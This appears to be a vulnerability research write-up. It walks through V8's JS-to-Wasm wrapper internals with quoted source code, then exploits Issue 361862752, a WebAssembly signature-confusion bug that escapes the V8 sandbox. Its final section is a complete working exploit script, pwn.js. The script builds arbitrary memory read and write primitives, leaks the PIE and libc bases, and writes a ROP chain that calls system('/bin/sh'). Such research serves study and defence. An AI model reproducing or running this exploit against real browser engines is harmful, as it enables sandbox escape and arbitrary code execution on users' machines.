  // untrusted data field.
  @customWeakMarking
  trusted_function_data: TrustedPointer<ExposedTrustedObject>;
  // TODO(chromium:1490564): if we cannot merge this field with the
  // trusted_function_data in the future (see TODO above), then maybe consider
  // renaming this field as untrusted_function_data may be a bit awkward.
  untrusted_function_data: Object;
  name_or_scope_info: String|NoSharedNameSentinel|ScopeInfo;
  outer_scope_info_or_feedback_metadata: HeapObject;
  script: Script|Undefined;
  // [length]: The function length - usually the number of declared parameters
  // (always without the receiver). The value is only reliable when the function
  // has been compiled.
  length: uint16;
  // [formal_parameter_count]: The number of declared parameters (or the special
  // value kDontAdaptArgumentsSentinel to indicate that arguments are passed
  // unaltered).
  // In contrast to [length], formal_parameter_count includes the receiver.
  formal_parameter_count: uint16;
  function_token_offset: uint16;
  // [expected_nof_properties]: Expected number of properties for the
  // function. The value is only reliable when the function has been compiled.
  expected_nof_properties: uint8;
  flags2: SharedFunctionInfoFlags2;
  flags: SharedFunctionInfoFlags;
  // [function_literal_id] - uniquely identifies the FunctionLiteral this
  // SharedFunctionInfo represents within its script, or -1 if this
  // SharedFunctionInfo object doesn't correspond to a parsed FunctionLiteral.
  function_literal_id: int32;
  // [unique_id] - An identifier that's persistent even across GC.
  // TODO(jgruber): Merge with function_literal_id by storing the base id on
  // Script (since the literal id is used for table lookups).
  unique_id: int32;
  // Age used for code flushing.
  // TODO(dinfuehr): Merge this field with function_literal_id to save memory.
  age: uint16;
  padding: uint16;
}

Builtins_JSToWasmWrapper() retrieves the address of the WasmExportedFunctionData object stored in the trusted pointer table.

/* src/wasm/value-type.h:1176 */

using CanonicalSig = Signature<CanonicalValueType>;
/* src/wasm/wasm-objects.tq:17 */

type RawFunctionSigPtr extends RawPtr constexpr 'const wasm::CanonicalSig*';
/* src/wasm/wasm-objects.tq:129-146 */

extern class WasmExportedFunctionData extends WasmFunctionData {
  // This is the instance that exported the function (which in case of
  // imported and re-exported functions is different from the instance
  // where the function is defined).
  protected_instance_data: ProtectedPointer<WasmTrustedInstanceData>;
  function_index: Smi;
  // Contains a Smi; boxed so that generated code can update the value.
  wrapper_budget: Cell;
  canonical_type_index: Smi;

  // {packed_args_size} and {c_wrapper_code} are for fast calling from C++.
  // The contract is that they are lazily populated, and either both will be
  // present or neither.
  packed_args_size: Smi;
  c_wrapper_code: TrustedPointer<Code>;

  sig: RawFunctionSigPtr;
}

Builtins_JSToWasmWrapper() reads the sig field from the WasmExportedFunctionData object. The address in that field points to a CanonicalSig object containing the information about the function signature.

/* src/codegen/signature.h:144-146 */

  size_t return_count_;
  size_t parameter_count_;
  const T* reps_;

Builtins_JSToWasmWrapper() identifies the function signature by looking into the reps_ pointer, which points to a list holding the indices of the types of all return values and parameters.

Depending on the signature, Builtins_JSToWasmWrapper() decides how to handle the arguments. It may designate a handler function or directly convert the arguments to the WebAssembly format.

In this case, Builtins_JSToWasmWrapper() directly converts the BigInt object into an integer.

When the arguments are prepared, Builtins_JSToWasmWrapper() calls Builtins_JSToWasmWrapperAsm(), which is generated by Builtins::Generate_JSToWasmWrapperAsm().

/* src/builtins/x64/builtins-x64.cc:3698-3700 */

void Builtins::Generate_JSToWasmWrapperAsm(MacroAssembler* masm) {
  JSToWasmWrapperHelper(masm, wasm::kNoPromise);
}
/* src/builtins/x64/builtins-x64.cc:3564-3576 */

  Register call_target = rdi;
  // param_start should not alias with any parameter registers.
  Register params_start = r11;
  __ movq(params_start,
          MemOperand(wrapper_buffer,
                     JSToWasmWrapperFrameConstants::kWrapperBufferParamStart));
  Register params_end = rbx;
  __ movq(params_end,
          MemOperand(wrapper_buffer,
                     JSToWasmWrapperFrameConstants::kWrapperBufferParamEnd));
  __ movq(call_target,
          MemOperand(wrapper_buffer,
                     JSToWasmWrapperFrameConstants::kWrapperBufferCallTarget));

Builtins_JSToWasmWrapperAsm() loads the function’s call target address into rdi, and the start and end addresses of the arguments list into r11 and rbx.

/* src/wasm/wasm-linkage.h:35-43 */

#elif V8_TARGET_ARCH_X64
// ===========================================================================
// == x64 ====================================================================
// ===========================================================================
constexpr Register kGpParamRegisters[] = {rsi, rax, rdx, rcx, rbx, r9};
constexpr Register kGpReturnRegisters[] = {rax, rdx};
constexpr DoubleRegister kFpParamRegisters[] = {xmm1, xmm2, xmm3,
                                                xmm4, xmm5, xmm6};
constexpr DoubleRegister kFpReturnRegisters[] = {xmm1, xmm2};
/* src/builtins/x64/builtins-x64.cc:3601-3615 */

  int next_offset = 0;
  for (size_t i = 1; i < arraysize(wasm::kGpParamRegisters); ++i) {
    // Check that {params_start} does not overlap with any of the parameter
    // registers, so that we don't overwrite it by accident with the loads
    // below.
    DCHECK_NE(params_start, wasm::kGpParamRegisters[i]);
    __ movq(wasm::kGpParamRegisters[i], MemOperand(params_start, next_offset));
    next_offset += kSystemPointerSize;
  }

  for (size_t i = 0; i < arraysize(wasm::kFpParamRegisters); ++i) {
    __ Movsd(wasm::kFpParamRegisters[i], MemOperand(params_start, next_offset));
    next_offset += kDoubleSize;
  }
  DCHECK_EQ(next_offset, stack_params_offset);
/* src/builtins/x64/builtins-x64.cc:3627 */

  __ call(call_target);

Builtins_JSToWasmWrapperAsm() copies all parameters to reserved registers, then calls the target address.

Execution enters the compiled WebAssembly function code, which creates and returns a new WasmStruct object.

/* src/wasm/wasm-linkage.h:35-43 */

#elif V8_TARGET_ARCH_X64
// ===========================================================================
// == x64 ====================================================================
// ===========================================================================
constexpr Register kGpParamRegisters[] = {rsi, rax, rdx, rcx, rbx, r9};
constexpr Register kGpReturnRegisters[] = {rax, rdx};
constexpr DoubleRegister kFpParamRegisters[] = {xmm1, xmm2, xmm3,
                                                xmm4, xmm5, xmm6};
constexpr DoubleRegister kFpReturnRegisters[] = {xmm1, xmm2};
/* src/builtins/x64/builtins-x64.cc:3635-3658 */

  wrapper_buffer = rcx;
  for (size_t i = 0; i < arraysize(wasm::kGpReturnRegisters); ++i) {
    DCHECK_NE(wrapper_buffer, wasm::kGpReturnRegisters[i]);
  }

  __ movq(wrapper_buffer,
          MemOperand(rbp, JSToWasmWrapperFrameConstants::kWrapperBufferOffset));

  __ Movsd(MemOperand(
               wrapper_buffer,
               JSToWasmWrapperFrameConstants::kWrapperBufferFPReturnRegister1),
           wasm::kFpReturnRegisters[0]);
  __ Movsd(MemOperand(
               wrapper_buffer,
               JSToWasmWrapperFrameConstants::kWrapperBufferFPReturnRegister2),
           wasm::kFpReturnRegisters[1]);
  __ movq(MemOperand(
              wrapper_buffer,
              JSToWasmWrapperFrameConstants::kWrapperBufferGPReturnRegister1),
          wasm::kGpReturnRegisters[0]);
  __ movq(MemOperand(
              wrapper_buffer,
              JSToWasmWrapperFrameConstants::kWrapperBufferGPReturnRegister2),
          wasm::kGpReturnRegisters[1]);

After the function call, Builtins_JSToWasmWrapperAsm() stores the return values in the on-stack wrapper_buffer.

/* src/builtins/x64/builtins-x64.cc:3660-3677 */

  // Call the return value builtin with
  // rax: wasm instance.
  // rbx: the result JSArray for multi-return.
  // rcx: pointer to the byte buffer which contains all parameters.
  if (stack_switch) {
    __ movq(rbx,
            MemOperand(rbp, StackSwitchFrameConstants::kResultArrayOffset));
    __ movq(rax,
            MemOperand(rbp, StackSwitchFrameConstants::kImplicitArgOffset));
  } else {
    __ movq(rbx,
            MemOperand(rbp,
                       JSToWasmWrapperFrameConstants::kResultArrayParamOffset));
    __ movq(rax,
            MemOperand(rbp, JSToWasmWrapperFrameConstants::kImplicitArgOffset));
  }
  GetContextFromImplicitArg(masm, rax);
  __ CallBuiltin(Builtin::kJSToWasmHandleReturns);

Builtins_JSToWasmWrapperAsm() calls Builtins_JSToWasmHandleReturns() to convert them into JavaScript objects, then returns control to the JavaScript context.

Wrapper tier-up

If a generic JS-to-Wasm wrapper is invoked a certain number of times—indicating frequent execution—a tier-up is triggered. This compiles a specific wrapper tailored to the function signature.

/* src/wasm/wasm-constants.h:180-193 */

// The number of calls to an exported Wasm function that will be handled
// by the generic wrapper. Once the budget is exhausted, a specific wrapper
// is to be compiled for the function's signature.
// The abstract goal of the tiering strategy for the js-to-wasm wrappers is to
// use the generic wrapper as much as possible (less space, no need to compile),
// but fall back to compiling a specific wrapper for any function (signature)
// that is used often enough for the generic wrapper's small execution penalty
// to start adding up.
// So, when choosing a value for the initial budget, we are interested in a
// value that skips on tiering up functions that are called only a few times and
// the tier-up only wastes resources, but triggers compilation of specific
// wrappers early on for those functions that have the potential to be called
// often enough.
constexpr uint32_t kGenericWrapperBudget = 1000;

By default, tier-up is triggered after a wrapper is invoked 1000 times. The budget can be adjusted using the execution flag --wasm-wrapper-tiering-budget.

/* src/flags/flag-definitions.h:1553-1554 */

DEFINE_INT(wasm_wrapper_tiering_budget, wasm::kGenericWrapperBudget,
           "budget for wrapper tierup (number of calls until tier-up)")

The tier-up is handled by BuildWasmWrapper().

/* src/wasm/wrappers.cc:1314-1334 */

void BuildWasmWrapper(compiler::turboshaft::PipelineData* data,
                      AccountingAllocator* allocator,
                      compiler::turboshaft::Graph& graph,
                      const CanonicalSig* sig,
                      WrapperCompilationInfo wrapper_info) {
  Zone zone(allocator, ZONE_NAME);
  WasmGraphBuilderBase::Assembler assembler(data, graph, graph, &zone);
  WasmWrapperTSGraphBuilder builder(&zone, assembler, sig);
  if (wrapper_info.code_kind == CodeKind::JS_TO_WASM_FUNCTION) {
    builder.BuildJSToWasmWrapper();
  } else if (wrapper_info.code_kind == CodeKind::WASM_TO_JS_FUNCTION) {
    builder.BuildWasmToJSWrapper(wrapper_info.import_kind,
                                 wrapper_info.expected_arity,
                                 wrapper_info.suspend);
  } else if (wrapper_info.code_kind == CodeKind::WASM_TO_CAPI_FUNCTION) {
    builder.BuildCapiCallWrapper();
  } else {
    // TODO(thibaudm): Port remaining wrappers.
    UNREACHABLE();
  }
}

Since the code kind of the exported WebAssembly function is CodeKind::JS_TO_WASM_FUNCTION, BuildWasmWrapper() calls WasmWrapperTSGraphBuilder::BuildJSToWasmWrapper() without explicit arguments.

/* src/wasm/wrappers.cc:412-416 */

  void BuildJSToWasmWrapper(
      bool do_conversion = true,
      compiler::turboshaft::OptionalOpIndex frame_state =
          compiler::turboshaft::OptionalOpIndex::Nullopt(),
      bool set_in_wasm_flag = true) {

The do_conversion flag indicates whether the compiled wrapper should transform arguments passed to the exported function into the WebAssembly format.

/* src/wasm/wrappers.cc:455-459 */

    // Check whether the signature of the function allows for a fast
    // transformation (if any params exist that need transformation).
    // Create a fast transformation path, only if it does.
    bool include_fast_path =
        do_conversion && wasm_param_count > 0 && QualifiesForFastTransform();

WasmWrapperTSGraphBuilder::BuildJSToWasmWrapper() builds the slow path by default, and optionally builds the fast path if include_fast_path is true. include_fast_path is set to true if the function has at least one parameter and WasmWrapperTSGraphBuilder::QualifiesForFastTransform() returns true.

/* src/wasm/wrappers.cc:1006-1030 */

  bool QualifiesForFastTransform() {
    const int wasm_count = static_cast<int>(sig_->parameter_count());
    for (int i = 0; i < wasm_count; ++i) {
      CanonicalValueType type = sig_->GetParam(i);
      switch (type.kind()) {
        case kRef:
        case kRefNull:
        case kI64:
        case kRtt:
        case kS128:
        case kI8:
        case kI16:
        case kF16:
        case kTop:
        case kBottom:
        case kVoid:
          return false;
        case kI32:
        case kF32:
        case kF64:
          break;
      }
    }
    return true;
  }

WasmWrapperTSGraphBuilder::QualifiesForFastTransform() returns true if every parameter type is either kI32, kF32, or kF64.

/* src/wasm/wrappers.cc:470-478 */

    if (include_fast_path) {
      TSBlock* slow_path = __ NewBlock();
      // Check if the params received on runtime can be actually transformed
      // using the fast transformation. When a param that cannot be transformed
      // fast is encountered, skip checking the rest and fall back to the slow
      // path.
      for (int i = 0; i < wasm_param_count; ++i) {
        CanTransformFast(params[i + 1], sig_->GetParam(i), slow_path);
      }

Before building the fast transformation, WasmWrapperTSGraphBuilder::BuildJSToWasmWrapper() calls WasmWrapperTSGraphBuilder::CanTransformFast() to generate instructions checking if the arguments are compatible with the fast path.

/* src/wasm/wrappers.cc:1054-1087 */

  void CanTransformFast(OpIndex input, CanonicalValueType type,
                        TSBlock* slow_path) {
    switch (type.kind()) {
      case kI32: {
        __ GotoIfNot(LIKELY(__ IsSmi(input)), slow_path);
        return;
      }
      case kF32:
      case kF64: {
        TSBlock* done = __ NewBlock();
        __ GotoIf(__ IsSmi(input), done);
        V<Map> map = LoadMap(input);
        V<Map> heap_number_map = LOAD_ROOT(HeapNumberMap);
        // TODO(thibaudm): Handle map packing.
        V<Word32> is_heap_number = __ TaggedEqual(heap_number_map, map);
        __ GotoIf(LIKELY(is_heap_number), done);
        __ Goto(slow_path);
        __ Bind(done);
        return;
      }
      case kRef:
      case kRefNull:
      case kI64:
      case kRtt:
      case kS128:
      case kI8:
      case kI16:
      case kF16:
      case kTop:
      case kBottom:
      case kVoid:
        UNREACHABLE();
    }
  }

For example, if a parameter type is kI32, the fast path only accepts an SMI (Small Integer). Otherwise, execution falls back to the slow path.

/* src/wasm/wrappers.cc:479-485 */

      // Convert JS parameters to wasm numbers using the fast transformation
      // and build the call.
      base::SmallVector<OpIndex, 16> args(args_count);
      for (int i = 0; i < wasm_param_count; ++i) {
        OpIndex wasm_param = FromJSFast(params[i + 1], sig_->GetParam(i));
        args[i + 1] = wasm_param;
      }

WasmWrapperTSGraphBuilder::BuildJSToWasmWrapper() calls WasmWrapperTSGraphBuilder::FromJSFast() to build the fast transformation.

/* src/wasm/wrappers.cc:797-832 */

  OpIndex FromJSFast(OpIndex input, CanonicalValueType type) {
    switch (type.kind()) {
      case kI32:
        return BuildChangeSmiToInt32(input);
      case kF32: {
        ScopedVar<Float32> result(this, OpIndex::Invalid());
        IF (__ IsSmi(input)) {
          result = __ ChangeInt32ToFloat32(__ UntagSmi(input));
        } ELSE {
          result = __ TruncateFloat64ToFloat32(HeapNumberToFloat64(input));
        }
        return result;
      }
      case kF64: {
        ScopedVar<Float64> result(this, OpIndex::Invalid());
        IF (__ IsSmi(input)) {
          result = __ ChangeInt32ToFloat64(__ UntagSmi(input));
        } ELSE{
          result = HeapNumberToFloat64(input);
        }
        return result;
      }
      case kRef:
      case kRefNull:
      case kI64:
      case kRtt:
      case kS128:
      case kI8:
      case kI16:
      case kF16:
      case kTop:
      case kBottom:
      case kVoid:
        UNREACHABLE();
    }
  }

For example, if the type of a parameter is kI32, WasmWrapperTSGraphBuilder::FromJSFast() calls WasmWrapperTSGraphBuilder::BuildChangeSmiToInt32() to generate instructions transforming an SMI into a 32-bit integer. This is safe because the type-checking instructions generated by WasmWrapperTSGraphBuilder::CanTransformFast() guarantee the input is an SMI.

/* src/wasm/wrappers.cc:491-497 */

    // Convert JS parameters to wasm numbers using the default transformation
    // and build the call.
    base::SmallVector<OpIndex, 16> args(args_count);
    for (int i = 0; i < wasm_param_count; ++i) {
      if (do_conversion) {
        args[i + 1] =
            FromJS(params[i + 1], js_context, sig_->GetParam(i), frame_state);

Once the fast path construction is complete, WasmWrapperTSGraphBuilder::FromJS() builds the slow path.

/* src/wasm/wrappers.cc:512-513 */

    jsval = BuildCallAndReturn(js_context, function_data, args, do_conversion,
                               set_in_wasm_flag, signature_hash);

After building the parameter transformation, WasmWrapperTSGraphBuilder::BuildJSToWasmWrapper() calls WasmWrapperTSGraphBuilder::BuildCallAndReturn() to generate the function call with the transformed arguments and retrieve the result.

/* src/wasm/wrappers.cc:387-409 */

    V<Object> jsval;
    if (sig_->return_count() == 0) {
      jsval = LOAD_ROOT(UndefinedValue);
    } else if (sig_->return_count() == 1) {
      jsval = do_conversion ? ToJS(rets[0], sig_->GetReturn(), js_context)
                            : rets[0];
    } else {
      int32_t return_count = static_cast<int32_t>(sig_->return_count());
      V<Smi> size = __ SmiConstant(Smi::FromInt(return_count));

      jsval = BuildCallAllocateJSArray(size, js_context);

      V<FixedArray> fixed_array = __ Load(jsval, LoadOp::Kind::TaggedBase(),
                                          MemoryRepresentation::TaggedPointer(),
                                          JSObject::kElementsOffset);

      for (int i = 0; i < return_count; ++i) {
        V<Object> value = ToJS(rets[i], sig_->GetReturn(i), js_context);
        __ StoreFixedArrayElement(fixed_array, i, value,
                                  compiler::kFullWriteBarrier);
      }
    }
    return jsval;

Finally, WasmWrapperTSGraphBuilder::BuildCallAndReturn() generates instructions to transform the return values back into JavaScript format, according to the function signature.

Exploitation: Issue 361862752
Triggering WebAssembly function signature confusion

Let’s assume we have two exported WebAssembly functions, f1 and f2. We can access the SharedFunctionInfo object corresponding to f1, which resides within the V8 sandbox, and read or overwrite any field using sandboxed exploit primitives. The SharedFunctionInfo object does not hold the raw address of the WasmExportedFunctionData object in the trusted_function_data field, but rather stores it as a trusted pointer handle. Consequently, we cannot simply corrupt the address to an arbitrary value. However, we can still overwrite it with the trusted pointer handle corresponding to f2. Then, when f1 is invoked, the JS-to-Wasm wrapper for f1 obtains the WasmExportedFunctionData object corresponding to f2. This results in executing f2‘s code with the arguments intended for f1.

The JS-to-Wasm wrapper is responsible for parameter transformation. When f1 is invoked before tier-up is triggered, the generic wrapper obtains the CanonicalSig object from the WasmExportedFunctionData object and decides how to handle the arguments depending on the function signature. In this case, no confusion arises even if the WasmExportedFunctionData object corresponds to f2, because an argument that doesn’t match the signature of f2 is rejected during the transformation. However, post-tier-up, the compiled specific wrapper is optimized solely for f1‘s signature. Therefore, it transforms arguments according to f1‘s signature and passes them to f2‘s code without further type checks. This is how we can trigger signature confusion.

Implementing unsandboxed arbitrary address read / write
let $struct_rw = builder_rw.addStruct([makeField(kWasmI64, true)]);

builder_rw.addFunction("read_wrapper", makeSig([kWasmI64], [kWasmI64]))
  .addBody([
    kExprLocalGet, 0,
  ])
  .exportFunc();

builder_rw.addFunction("read", makeSig([wasmRefType($struct_rw)], [kWasmI64]))
  .addBody([
    kExprLocalGet, 0,
    kGCPrefix, kExprStructGet, $struct_rw, 0,
  ])
  .exportFunc();

read() takes a struct and returns the 64-bit integer stored in it. The compiled code of the function is as follows.

The code adds a constant offset 0x7 to the WasmStruct object address to access the first field. As it implicitly trusts the wrapper, it does not verify if rax actually points to a valid WasmStruct object. We can overwrite the trusted_function_data field of the SharedFunctionInfo object corresponding to read_wrapper() with the trusted pointer handle corresponding to read(). This causes the compiled wrapper for read_wrapper() to pass a 64-bit integer to the code of read() as an argument. The code of read() trusts its caller wrapper, so it assumes that the argument is the address of a WasmStruct object. Ultimately, this allows us to read a 64-bit value from an arbitrary address.

builder_rw.addFunction("write_wrapper", makeSig([kWasmI64, kWasmI64], []))
  .addBody([])
  .exportFunc();

builder_rw.addFunction("write", makeSig([wasmRefType($struct_rw), kWasmI64], []))
  .addBody([
    kExprLocalGet, 0,
    kExprLocalGet, 1,
    kGCPrefix, kExprStructSet, $struct_rw, 0,
  ])
  .exportFunc();

The arbitrary address write primitive can be implemented in the same way as the read primitive. We can overwrite the trusted_function_data field of the SharedFunctionInfo object corresponding to write_wrapper() with the trusted pointer handle corresponding to write(). This forces the code of write() to incorrectly assume that the first argument passed by the wrapper is the address of a WasmStruct object. Eventually, we can write a 64-bit integer to an arbitrary address.

Leaking PIE Base
builder_leak.addFunction("leak_wrapper", makeSig([], [kWasmI64]))
  .addBody([
    ...wasmI64Const(0x0n),
  ])
  .exportFunc();

builder_leak.addFunction("leak", makeSig([kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64], [kWasmI64]))
  .addBody([
    kExprLocalGet, 10,
  ])
  .exportFunc();

We can force the compiled wrapper of leak_wrapper() to call the code of leak() by overwriting the trusted_function_data field of the SharedFunctionInfo object corresponding to leak_wrapper() with the trusted pointer handle corresponding to leak(). Since leak_wrapper() accepts no parameters, its wrapper does not initialize argument registers before calling leak().

The wrapper passes up to 6 arguments via registers and the rest via the stack, adhering to the x64 calling convention.

The function code expects the 11th argument stored in rbp + 0x38, but we can find an address belonging to Builtins_InterpreterEntryTrampoline() at that location.

leak() ends up returning this address, allowing us to calculate the base address of the d8 binary to break PIE.

Hijacking Control Flow

We can obtain a libc function address from the Global Offset Table (GOT) to calculate the libc base. Subsequently, we can read the stack address stored in environ.

Shell::Main() returns to __libc_start_call_main(), whose address we can calculate based on the libc base address. We can search the stack for the return address of Shell::Main() to locate its stack frame. Once found, we can execute a ROP chain to achieve arbitrary code execution.

The full exploit is available in the JavaScript code below.

/* pwn.js */


/* constants */

const kGenericWrapperBudget = 1000; // number of calls to trigger wrapper tier-up

const shared_function_info_offset = 0x10; // offset of shared_function_info in JSFunction
const trusted_function_data_offset = 0x4; // offset of trusted_function_data in SharedFunctionInfo

const builtins_interpreterentrytrampoline_offset = 0x16f5940; // offset of Builtins_InterpreterEntryTrampoline from pie base
const printf_got_offset = 0x1b11940; // offset of got of printf() from pie base

const printf_offset = 0x606f0; // offset of printf() from ilbc base
const environ_offset = 0x222200; // offset of environ from libc base
const libc_start_call_main_offset = 0x29d10; // offset of __libc_start_call_main() from libc base

const pop_rdi_offset = 0x1bc00d; // offset of "pop rdi; ret" gadget from libc base
const binsh_offset = 0x1d8678; // offset of "/bin/sh" from libc base
const system_offset = 0x50d70; // offset of system() from libc base


/* helpers */

d8.file.execute("v8/test/mjsunit/wasm/wasm-module-builder.js");

// trigger wrapper tier-up
function wrapperTierup(f, args) { for (let i = 0; i < kGenericWrapperBudget; i++) { f(...args); } }

// convert integer into hex string
function hex(i) { return `0x${i.toString(16)}`; }


/* implement sandboxed exploit primitives */

let builder_sbx = new WasmModuleBuilder();

let $struct_addrof_ref = builder_sbx.addStruct([makeField(kWasmExternRef, true)]); // canonical index 3

let $struct_rw_i32 = builder_sbx.addStruct([makeField((kWasmI32), true)]); // canonical index 4

builder_sbx.addFunction("addrof_store", makeSig([kWasmExternRef], [wasmRefType($struct_addrof_ref)]))
  .addBody([
    kExprLocalGet, 0,
    kGCPrefix, kExprStructNew, $struct_addrof_ref,
  ])
  .exportFunc();

builder_sbx.addFunction("rw_store", makeSig([kWasmI32], [wasmRefType($struct_rw_i32)]))
  .addBody([
    kExprLocalGet, 0,
    kGCPrefix, kExprStructNew, $struct_rw_i32,
  ])
  .exportFunc();

builder_sbx.startRecGroup();

builder_sbx.addStruct([]);
builder_sbx.addStruct([]);
builder_sbx.addStruct([]);

let $struct_addrof_i32 = builder_sbx.addStruct([makeField(kWasmI32, true)]); // relative index 3

let $struct_rw_ref = builder_sbx.addStruct([makeField(wasmRefType($struct_rw_i32), true)]); // relative index 4

builder_sbx.addFunction("addrof_load", makeSig([wasmRefType($struct_addrof_i32)], [kWasmI32]))
  .addBody([
    kExprLocalGet, 0,
    kGCPrefix, kExprStructGet, $struct_addrof_i32, 0,
  ])
  .exportFunc();

builder_sbx.addFunction("read", makeSig([wasmRefType($struct_rw_ref)], [kWasmI32]))
  .addBody([
    kExprLocalGet, 0,
    kGCPrefix, kExprStructGet, $struct_rw_ref, 0,
    kGCPrefix, kExprStructGet, $struct_rw_i32, 0,
  ])
  .exportFunc();

builder_sbx.addFunction("write", makeSig([wasmRefType($struct_rw_ref), kWasmI32], []))
  .addBody([
    kExprLocalGet, 0,
    kGCPrefix, kExprStructGet, $struct_rw_ref, 0,
    kExprLocalGet, 1,
    kGCPrefix, kExprStructSet, $struct_rw_i32, 0,
  ])
  .exportFunc();

builder_sbx.endRecGroup();

let instance_sbx = builder_sbx.instantiate();

// obtain compressed address of obj
function addrof(obj) {
  let struct = instance_sbx.exports.addrof_store(obj);
  return instance_sbx.exports.addrof_load(struct) & ~1;
}

// arbitrary address read / write
function rw_sbx(addr, value = NaN) {
  let struct = instance_sbx.exports.rw_store(addr - 0x7);

  if (Number.isNaN(value)) { // read
    return instance_sbx.exports.read(struct);
  } else { // write
    instance_sbx.exports.write(struct, value);
  }
}


/* escape v8 sandbox */

let builder_rw = new WasmModuleBuilder();

let $struct_rw = builder_rw.addStruct([makeField(kWasmI64, true)]);

builder_rw.addFunction("read_wrapper", makeSig([kWasmI64], [kWasmI64]))
  .addBody([
    kExprLocalGet, 0,
  ])
  .exportFunc();

builder_rw.addFunction("read", makeSig([wasmRefType($struct_rw)], [kWasmI64]))
  .addBody([
    kExprLocalGet, 0,
    kGCPrefix, kExprStructGet, $struct_rw, 0,
  ])
  .exportFunc();

builder_rw.addFunction("write_wrapper", makeSig([kWasmI64, kWasmI64], []))
  .addBody([])
  .exportFunc();

builder_rw.addFunction("write", makeSig([wasmRefType($struct_rw), kWasmI64], []))
  .addBody([
    kExprLocalGet, 0,
    kExprLocalGet, 1,
    kGCPrefix, kExprStructSet, $struct_rw, 0,
  ])
  .exportFunc();

let instance_rw = builder_rw.instantiate();
let read_wrapper = instance_rw.exports.read_wrapper;
let read = instance_rw.exports.read;
let write_wrapper = instance_rw.exports.write_wrapper;
let write = instance_rw.exports.write;

// wrapper tier-up
wrapperTierup(read_wrapper, [0x0n]);
wrapperTierup(write_wrapper, [0x0n, 0x0n]);

// obtain trusted pointer handle of read()
let read_addr = addrof(read);
console.log(`[+] read_addr = ${hex(read_addr)}`);
let read_sfi = rw_sbx(read_addr + shared_function_info_offset) & ~1;
console.log(`[+] read_sfi == ${hex(read_sfi)}`);
let read_tph = rw_sbx(read_sfi + trusted_function_data_offset);
console.log(`[+] read_tph == ${hex(read_tph)}`);

// overwrite trusted pointer handle of read_wrapper()
let read_wrapper_addr = addrof(read_wrapper);
console.log(`[+] read_wrapper_addr == ${hex(read_wrapper_addr)}`);
let read_wrapper_sfi = rw_sbx(read_wrapper_addr + shared_function_info_offset) & ~1;
console.log(`[+] read_wrapper_sfi == ${hex(read_wrapper_sfi)}`);
rw_sbx(read_wrapper_sfi + trusted_function_data_offset, read_tph);

// obtain trusted pointer handle of write()
let write_addr = addrof(write);
console.log(`[+] write_addr == ${hex(write_addr)}`);
let write_sfi = rw_sbx(write_addr + shared_function_info_offset) & ~1;
console.log(`[+] write_sfi == ${hex(write_sfi)}`);
let write_tph = rw_sbx(write_sfi + trusted_function_data_offset);
console.log(`[+] write_tph == ${hex(write_tph)}`);

// overwrite trusted pointer handle of write_wrapper()
let write_wrapper_addr = addrof(write_wrapper);
console.log(`[+] write_wrapper_addr == ${hex(write_wrapper_addr)}`);
let write_wrapper_sfi = rw_sbx(write_wrapper_addr + shared_function_info_offset) & ~1;
console.log(`[+] write_wrapper_sfi == ${hex(write_wrapper_sfi)}`);
rw_sbx(write_wrapper_sfi + trusted_function_data_offset, write_tph);

// arbitrary address read / write
function rw(addr, value = NaN) {
  if (Number.isNaN(value)) { // read
    return read_wrapper(addr - 0x7n);
  } else { // write
    write_wrapper(value, addr - 0x7n);
  }
}


/* leak pie base */

let builder_leak = new WasmModuleBuilder();

let $struct_leak = builder_leak.addStruct([makeField(kWasmI64, true), makeField(kWasmI64, true)]);

builder_leak.addFunction("leak_wrapper", makeSig([], [kWasmI64]))
  .addBody([
    ...wasmI64Const(0x0n),
  ])
  .exportFunc();

builder_leak.addFunction("leak", makeSig([kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64, kWasmI64], [kWasmI64]))
  .addBody([
    kExprLocalGet, 10,
  ])
  .exportFunc();

let instance_leak = builder_leak.instantiate();
let leak_wrapper = instance_leak.exports.leak_wrapper;
let leak = instance_leak.exports.leak;

// wrapper tier-up
wrapperTierup(leak_wrapper, []);

// obtain trusted pointer handle of leak()
let leak_addr = addrof(leak);
console.log(`[+] leak_addr == ${hex(leak_addr)}`);
let leak_sfi = rw_sbx(leak_addr + shared_function_info_offset) & ~1;
console.log(`[+] leak_sfi == ${hex(leak_sfi)}`);
let leak_tph = rw_sbx(leak_sfi + trusted_function_data_offset);
console.log(`[+] leak_tph == ${hex(leak_tph)}`);

// overwrite trusted pointer handle of leak_wrapper
let leak_wrapper_addr = addrof(leak_wrapper);
console.log(`[+] leak_wrapper_addr == ${hex(leak_wrapper_addr)}`);
let leak_wrapper_sfi = rw_sbx(leak_wrapper_addr + shared_function_info_offset) & ~1;
console.log(`[+] leak_wrapper_sfi == ${hex(leak_wrapper_sfi)}`);
rw_sbx(leak_wrapper_sfi + trusted_function_data_offset, leak_tph);

// calculate pie base
let builtins_interpreterentrytrampoline = leak_wrapper() - 0x14bn; // Builtins_InterpreterEntryTrampoline()
console.log(`[+] builtins_interpreterentrytrampoline == ${hex(builtins_interpreterentrytrampoline)}`);
let pie = builtins_interpreterentrytrampoline - BigInt(builtins_interpreterentrytrampoline_offset); // pie base
console.log(`[+] pie == ${hex(pie)}`);


/* hijack control flow */

// leak libc base
let printf_got = pie + BigInt(printf_got_offset); // got of printf()
console.log(`[+] printf_got == ${hex(printf_got)}`);
let printf = rw(printf_got); // printf()
console.log(`[+] printf == ${hex(printf)}`);
let libc = printf - BigInt(printf_offset); // libc base
console.log(`[+] libc == ${hex(libc)}`);

// leak stack address
let environ = libc + BigInt(environ_offset); // environ
console.log(`[+] environ == ${hex(environ)}`);
let stack = rw(environ); // stack address
console.log(`[+] stack == ${hex(stack)}`);

// search stack for return address of main()
let libc_start_call_main = libc + BigInt(libc_start_call_main_offset); // __libc_start_call_main()
console.log(`[+] libc_start_call_main == ${hex(libc_start_call_main)}`);
let main_ret = stack; // location of return address of main()
for (; rw(main_ret) != libc_start_call_main + 0x80n; main_ret -= 0x8n) { }
console.log(`[+] main_ret == ${hex(main_ret)}`);

// rop
let pop_rdi = libc + BigInt(pop_rdi_offset); // "pop rdi; ret" gadget
let ret = pop_rdi + 0x1n; // "ret" gadget (for stack alignment)
let binsh = libc + BigInt(binsh_offset); // "/bin/sh"
let system = libc + BigInt(system_offset); // system()
let ropchain = [ret, pop_rdi, binsh, system];
for (let i = 0; i < ropchain.length; i++) { rw(main_ret + BigInt(i * 8), ropchain[i]); }

